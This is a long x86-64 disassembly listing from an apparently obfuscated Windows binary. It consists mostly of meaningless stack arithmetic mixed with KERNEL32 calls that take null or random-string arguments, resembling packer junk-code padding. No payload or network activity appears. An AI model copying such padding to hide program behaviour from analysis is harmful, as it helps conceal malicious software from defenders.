mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b38]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa938]
mov ecx, dword [rsp + 0xb080]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f00], eax
lea rax, [rsp + 0x2b48]
mov qword [rsp + 0x16a30], rax
mov rax, qword [rsp + 0x144b0]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e4f7]
add eax, ecx
mov rcx, qword [rsp + 0x145b0]
mov byte [rcx], al
lea rax, [rsp + 0x71c8]
mov qword [rsp + 0x16a38], rax
mov eax, dword [rsp + 0x852c]
mov ecx, dword [rsp + 0xaa88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xabcc], eax
mov rax, qword [rsp + 0x135b8]
movzx eax, word [rax]
mov word [0x140363244], ax
lea rax, [rsp + 0x361]
mov qword [rsp + 0x16a40], rax
mov rax, qword [rsp + 0x141e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13410]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x120], al
mov rax, qword [rsp + 0x14b48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b9c]
xor eax, ecx
mov word [rsp + 0x22c8], ax
mov eax, dword [rsp + 0xaad4]
mov rcx, qword [rsp + 0x15880]
mov qword [rsp + 0x16a48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16a48]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x69b0], eax
mov eax, dword [rsp + 0xafc4]
mov rcx, qword [rsp + 0x14da0]
mov qword [rsp + 0x16a50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16a50]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x148c0]
mov dword [rcx], eax
mov rax, qword [0x140363d40]
mov eax, dword [rax]
mov dword [rsp + 0xb334], eax
mov eax, dword [rsp + 0x7318]
mov ecx, dword [rsp + 0xa1e8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15e68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16308]
mov rcx, qword [rsp + 0x13688]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14ed8]
mov dword [rcx], eax
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0x16a58], rax
lea rax, [rsp + 0x6ff]
mov qword [0x1403641e8], rax
mov rax, qword [rsp + 0x13330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb010]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa990], eax
lea rcx, str.VtdkuqIt
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e58], ax
mov rax, qword [rsp + 0x14b38]
mov rcx, qword [0x140363e38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9c14], eax
mov eax, dword [rsp + 0x93e0]
mov ecx, dword [rsp + 0xb024]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15fc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13a28]
mov ecx, dword [rsp + 0xafa0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x160c8]
mov dword [rcx], eax
lea rax, [rsp + 0x740]
mov qword [rsp + 0x16a60], rax
mov rax, qword [rsp + 0x132c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x154f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x144a8]
mov word [rcx], ax
lea rax, [rsp + 0x2a34]
mov qword [rsp + 0x16a68], rax
mov rax, qword [0x140363dc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15cb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6fb], al
mov eax, dword [rsp + 0xa9dc]
mov ecx, dword [rsp + 0x9f1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363ef0]
mov dword [rcx], eax
mov eax, dword [0x140363f14]
mov ecx, dword [rsp + 0xab1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15328]
mov dword [rcx], eax
lea rax, [rsp + 0x70f]
mov qword [rsp + 0x16a70], rax
movzx eax, word [rsp + 0x2b28]
mov rcx, qword [rsp + 0x15988]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x16a4], ax
lea rax, [rsp + 0xaa5c]
mov qword [rsp + 0x16a78], rax
mov rax, qword [rsp + 0x14e50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14035cca4]
shr eax, cl
mov dword [rsp + 0xa8a0], eax
mov rax, qword [rsp + 0x14a80]
mov eax, dword [rax]
mov dword [rsp + 0xb338], eax
mov rax, qword [rsp + 0x14198]
mov rcx, qword [rsp + 0x14b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xafac], eax
mov rax, qword [rsp + 0x14488]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15ba0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13740]
mov byte [rcx], al
movzx eax, word [rsp + 0x2d68]
movzx ecx, word [rsp + 0x2d64]
and eax, ecx
mov rcx, qword [0x140364128]
mov word [rcx], ax
mov eax, dword [rsp + 0xaaf0]
mov dword [rsp + 0xb33c], eax
mov rax, qword [rsp + 0x14f80]
mov ecx, dword [rsp + 0xac00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaee8], eax
lea rax, [rsp + 0xa73c]
mov qword [rsp + 0x16a80], rax
mov eax, dword [0x14035cc3c]
mov ecx, dword [rsp + 0xadd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x152b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15f98]
mov rcx, qword [rsp + 0x15998]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa1e8], eax
lea rax, [rsp + 0x75a]
mov qword [rsp + 0x16a88], rax
movsx eax, word [rsp + 0x2e20]
movsx ecx, word [0x140353b08]
sub eax, ecx
mov word [rsp + 0x2dec], ax
lea rax, [rsp + 0x2bf0]
mov qword [rsp + 0x16a90], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x20c
mov r9d, 0x2056
mov r8d, 0x7b5dc748
mov edx, 1
mov rcx, qword [rsp + 0x16538]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa8b8], eax
movzx eax, byte [rsp + 0x58b]
mov rcx, qword [rsp + 0x16a60]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1403535df], al
mov rax, qword [rsp + 0x14278]
mov ecx, dword [0x140363a20]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14bc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb234]
mov ecx, dword [rsp + 0xb30c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xae88], eax
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x16a98], rax
mov rax, qword [0x140364000]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14360]
mov word [rcx], ax
mov rax, qword [rsp + 0x14350]
mov ecx, dword [rsp + 0xaf28]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6e0], eax
lea rcx, [rsp + 0x41e38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x15120]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x154e0]
mov qword [rsp + 0x16aa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16aa0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x143f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x167d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xabb8]
sar eax, cl
mov dword [rsp + 0xacf8], eax
lea rax, [rsp + 0xabb4]
mov qword [rsp + 0x16aa8], rax
movzx eax, byte [rsp + 0x567]
movzx ecx, byte [0x14035e507]
xor eax, ecx
mov rcx, qword [0x140363e70]
mov byte [rcx], al
movzx eax, word [rsp + 0x19d8]
mov rcx, qword [rsp + 0x16288]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x156a8]
mov word [rcx], ax
lea rax, [rsp + 0x9f00]
mov qword [rsp + 0x16ab0], rax
mov rax, qword [rsp + 0x16000]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9430]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ed4], eax
lea rdx, [rsp + 0x144b8]
mov rcx, qword [rsp + 0x16868]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb340], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
movzx ecx, word [rsp + 0x2c40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2d48], ax
lea rax, [rsp + 0x2e0c]
mov qword [rsp + 0x16ab8], rax
mov rax, qword [rsp + 0x16058]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15db0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13d28]
mov byte [rcx], al
mov rax, qword [rsp + 0x15220]
movzx eax, byte [rax]
mov rcx, qword [0x140363cf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14948]
mov byte [rcx], al
lea rax, [rsp + 0x2bac]
mov qword [rsp + 0x16ac0], rax
mov rax, qword [rsp + 0x160f8]
mov ecx, dword [rsp + 0xaf8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7dfc], eax
lea rax, [0x14035cc70]
mov qword [0x1403641f0], rax
mov rax, qword [rsp + 0x13c98]
mov eax, dword [rax]
mov dword [rsp + 0xb344], eax
mov eax, dword [rsp + 0xb31c]
mov ecx, dword [rsp + 0x687c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2d8], eax
mov eax, dword [rsp + 0x6b2c]
mov ecx, dword [rsp + 0xb214]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x806c], eax
lea rax, [rsp + 0x759]
mov qword [rsp + 0x16ac8], rax
mov rax, qword [rsp + 0x14308]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x153f0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14268]
mov word [rcx], ax
mov rax, qword [rsp + 0x13d38]
mov ecx, dword [0x1403640fc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a98], eax
mov rax, qword [rsp + 0x13320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb20c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14598]
mov dword [rcx], eax
mov rax, qword [rsp + 0x163e8]
mov rcx, qword [rsp + 0x14838]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9e8], eax
mov rax, qword [rsp + 0x13d88]
mov rcx, qword [rsp + 0x16a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14035cc84], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.CnL83hvJkfFOZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16ad0], rax
mov rax, qword [rsp + 0x153f0]
movzx eax, word [rax]
mov word [rsp + 0x2e5c], ax
mov rax, qword [rsp + 0x15260]
movzx eax, byte [rax]
mov rcx, qword [0x140363f48]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x15770]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rax, [rsp + 0x169c]
mov qword [rsp + 0x16ad8], rax
mov rax, qword [rsp + 0x14f00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x143e8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x136b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14068]
mov eax, dword [rax]
mov dword [rsp + 0xb348], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6af8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b00]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x724]
movzx ecx, byte [rsp + 0x53b]
and eax, ecx
mov rcx, qword [rsp + 0x14908]
mov byte [rcx], al
lea rdx, [rsp + 0x45dc8]
mov rcx, qword [rsp + 0x15280]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xabd4], eax
movzx eax, word [rsp + 0x29d0]
movzx ecx, word [0x140362b9c]
and eax, ecx
mov word [rsp + 0x2610], ax
lea rcx, str.Q4R_IpEyj_RVCW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e60], ax
lea rax, [rsp + 0xab84]
mov qword [0x1403641f8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0x16408]
mov rcx, qword [rsp + 0x13960]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c14], eax
mov rcx, qword [rsp + 0x135e0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov eax, dword [rsp + 0x9da4]
mov dword [rsp + 0xb34c], eax
mov rax, qword [rsp + 0x13290]
mov eax, dword [rax]
mov ecx, dword [0x14035ccc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9c8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb350], eax
mov rax, qword [rsp + 0x16178]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x341]
add eax, ecx
mov rcx, qword [rsp + 0x14e88]
mov byte [rcx], al
lea rax, [0x140363114]
mov qword [rsp + 0x16ae0], rax
movzx ecx, word [rsp + 0x2d94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ac0], ax
mov rax, qword [rsp + 0x15738]
mov rcx, qword [rsp + 0x165e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13c08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15650]
mov rcx, qword [rsp + 0x15c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x16870]
mov ecx, dword [rsp + 0xa764]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6994], eax
lea rax, [rsp + 0xb344]
mov qword [0x140364200], rax
mov rax, qword [rsp + 0x14460]
mov ecx, dword [rsp + 0xb12c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14c08]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae30], eax
lea rax, [0x14035e4a5]
mov qword [rsp + 0x16ae8], rax
mov rax, qword [rsp + 0x16040]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c88]
shl eax, cl
mov word [rsp + 0x11cc], ax
lea rdx, [rsp + 0x45e38]
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb354], eax
lea rax, [rsp + 0x23c]
mov qword [rsp + 0x16af0], rax
mov rax, qword [rsp + 0x14268]
movzx eax, word [rax]
mov rcx, qword [0x140363fb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x13470]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa960]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13d20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137a0]
mov eax, dword [rax]
mov dword [rsp + 0xb358], eax
movzx eax, word [0x140362f3c]
movzx ecx, word [rsp + 0x2b64]
and eax, ecx
mov rcx, qword [rsp + 0x15828]
mov word [rcx], ax
mov rax, qword [rsp + 0x16878]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15690]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1403640e0]
mov byte [rcx], al
lea rax, [rsp + 0xaddc]
mov qword [rsp + 0x16af8], rax
mov eax, dword [rsp + 0xb050]
mov ecx, dword [0x14035cc24]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x167d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13dc0]
mov rcx, qword [rsp + 0x149c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a7c], eax
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xb210]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14598]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x4c7]
mov rcx, qword [rsp + 0x16578]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13850]
mov byte [rcx], al
mov rax, qword [rsp + 0x15440]
movzx eax, word [rax]
mov word [rsp + 0x2e64], ax
mov rax, qword [rsp + 0x14808]
mov rcx, qword [rsp + 0x16580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x166b0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13ca8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x81a0]
mov qword [rsp + 0x16b00], rax
mov rax, qword [rsp + 0x13d60]
movzx eax, word [rax]
mov word [0x140363264], ax
movsx eax, byte [rsp + 0x305]
movsx ecx, byte [0x1403535da]
add eax, ecx
mov rcx, qword [rsp + 0x13ef0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14ae0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a4]
sub eax, ecx
mov word [rsp + 0x29a0], ax
movzx eax, byte [rsp + 0x353]
mov byte [rsp + 0x75f], al
mov rax, qword [rsp + 0x164f0]
mov rcx, qword [rsp + 0x13f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x16468]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x153c0]
mov ecx, dword [rsp + 0x6304]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa614], eax
mov rax, qword [rsp + 0x13cb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaf74]
shl eax, cl
mov rcx, qword [rsp + 0x15998]
mov dword [rcx], eax
mov eax, dword [rsp + 0x90d0]
mov ecx, dword [rsp + 0xaa48]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ce0], eax
lea rax, [rsp + 0xac14]
mov qword [rsp + 0x16b08], rax
mov rax, qword [rsp + 0x157e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42a]
sar eax, cl
mov rcx, qword [rsp + 0x14ad8]
mov byte [rcx], al
lea rcx, [rsp + 0x41e98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x29b8]
movzx ecx, word [rsp + 0x1a40]
and eax, ecx
mov rcx, qword [0x140364120]
mov word [rcx], ax
lea rax, [rsp + 0xac9c]
mov qword [rsp + 0x16b10], rax
mov rax, qword [rsp + 0x13b18]
mov ecx, dword [rsp + 0xafbc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x16530]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.cJIv3lGzk79LEwhFHsJD1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x16b18], rax
mov rax, qword [0x140363db0]
mov eax, dword [rax]
mov dword [rsp + 0xb35c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x14b58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x800c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x162d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [0x140362f3c]
or eax, ecx
mov word [rsp + 0x1a2c], ax
movzx eax, byte [rsp + 0x41e]
movzx ecx, byte [rsp + 0xa1]
add eax, ecx
mov byte [rsp + 0x40a], al
movsx eax, word [rsp + 0x2ae8]
mov rcx, qword [rsp + 0x15678]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14768]
mov word [rcx], ax
lea rdx, [rsp + 0x45b98]
mov rcx, qword [rsp + 0x15a10]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb088], eax
movzx eax, byte [rsp + 0x6c7]
mov byte [rsp + 0x760], al
mov eax, dword [rsp + 0xace0]
mov ecx, dword [rsp + 0xa26c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363ff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139e8]
mov rcx, qword [rsp + 0x16818]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13f08]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x4dc]
movzx ecx, byte [rsp + 0x730]
sub eax, ecx
mov byte [rsp + 0xac], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2014]
mov word [rsp + 0x2e68], ax
mov rax, qword [rsp + 0x16450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6600]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15650]
mov dword [rcx], eax
mov rax, qword [0x140363d58]
mov rcx, qword [rsp + 0x13938]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7c94], eax
mov rcx, qword [rsp + 0x14e28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x2da8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ad4], ax
mov rax, qword [rsp + 0x16450]
mov ecx, dword [rsp + 0xb11c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14c88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14df8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f08]
mov qword [rsp + 0x16b20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16b20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb12c], eax
lea rax, [rsp + 0x19d8]
mov qword [rsp + 0x16b28], rax
lea rax, [rsp + 0xbb]
mov qword [0x140364208], rax
mov eax, dword [0x1403640bc]
mov ecx, dword [rsp + 0xac08]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x150a8]
mov dword [rcx], eax
lea rax, [rsp + 0xadb0]
mov qword [rsp + 0x16b30], rax
mov rax, qword [rsp + 0x15890]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15a00]
mov qword [rsp + 0x16b38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16b38]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15310]
mov rcx, qword [0x140363c70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9ef4], eax
mov rax, qword [rsp + 0x13ce0]
mov eax, dword [rax]
mov dword [rsp + 0xb360], eax
movsx eax, word [rsp + 0x2ab4]
movsx ecx, word [rsp + 0x15a8]
imul eax, ecx
mov word [rsp + 0x2de4], ax
mov rax, qword [rsp + 0x16a40]
movsx eax, byte [rax]
mov rcx, qword [0x140363f50]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x73], al
movzx eax, word [rsp + 0x2a14]
movzx ecx, word [rsp + 0x2d24]
and eax, ecx
mov rcx, qword [rsp + 0x132c8]
mov word [rcx], ax
lea rcx, [rsp + 0x41fb8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rdx, [rsp + 0x45c08]
mov rcx, qword [rsp + 0x16068]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa9f4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xacc0], eax
movzx eax, byte [rsp + 0x749]
mov rcx, qword [rsp + 0x167e0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140363990]
mov byte [rcx], al
lea rcx, str.iGVe
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e6c], ax
mov rax, qword [rsp + 0x141a8]
mov eax, dword [rax]
mov dword [rsp + 0xb364], eax
mov rax, qword [rsp + 0x13450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabfc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14bc8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1d2]
movzx ecx, byte [0x1403535cb]
add eax, ecx
mov byte [rsp + 0x74c], al
lea rax, [rsp + 0x2ce0]
mov qword [rsp + 0x16b40], rax
mov rax, qword [rsp + 0x15950]
mov rcx, qword [rsp + 0x155c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14e30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov dword [rsp + 0xb368], eax
lea rcx, [rsp + 0x41e68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x1403641c8]
mov ecx, dword [rsp + 0xa770]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13df0]
mov dword [rcx], eax
mov r9d, 0x20b8
xor r8d, r8d
lea rdx, [rsp + 0x16398]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xaec0], eax
mov rax, qword [rsp + 0x15d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0c8], eax
movzx eax, word [rsp + 0x2e64]
mov word [0x1403632b4], ax
lea rax, [rsp + 0x701]
mov qword [rsp + 0x16b48], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf6c], eax
mov rax, qword [rsp + 0x15820]
mov rcx, qword [rsp + 0x156d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x167b0]
mov dword [rcx], eax
lea rcx, str.vSx_snRzZP
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e70], ax
mov r9d, 0x91d
xor r8d, r8d
lea rdx, [rsp + 0x15488]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xb04c], eax
lea rax, [rsp + 0xb288]
mov qword [rsp + 0x16b50], rax
mov rax, qword [0x140363a08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x136b8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x149a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x15360]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14880]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a38], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, word [rsp + 0x144c]
mov rcx, qword [rsp + 0x14e98]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17b0], ax
mov rax, qword [rsp + 0x13698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x16ac8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6b5], al
lea rax, [rsp + 0x9cbc]
mov qword [rsp + 0x16b58], rax
lea rax, [rsp + 0xa1e0]
mov qword [0x140364210], rax
lea rdx, [rsp + 0x138f8]
mov rcx, qword [rsp + 0x156c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb36c], eax
mov rax, qword [rsp + 0x14b50]
mov ecx, dword [rsp + 0xb278]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a98], eax
mov eax, dword [rsp + 0xabd8]
mov ecx, dword [rsp + 0xaeec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7820], eax
lea rdx, [rsp + 0x460d8]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb238], eax
mov rax, qword [rsp + 0x13478]
mov eax, dword [rax]
mov dword [rsp + 0xb370], eax
movzx eax, word [0x14035cc00]
movzx ecx, word [rsp + 0x29a8]
sub eax, ecx
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0x13530]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14a90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x469], al
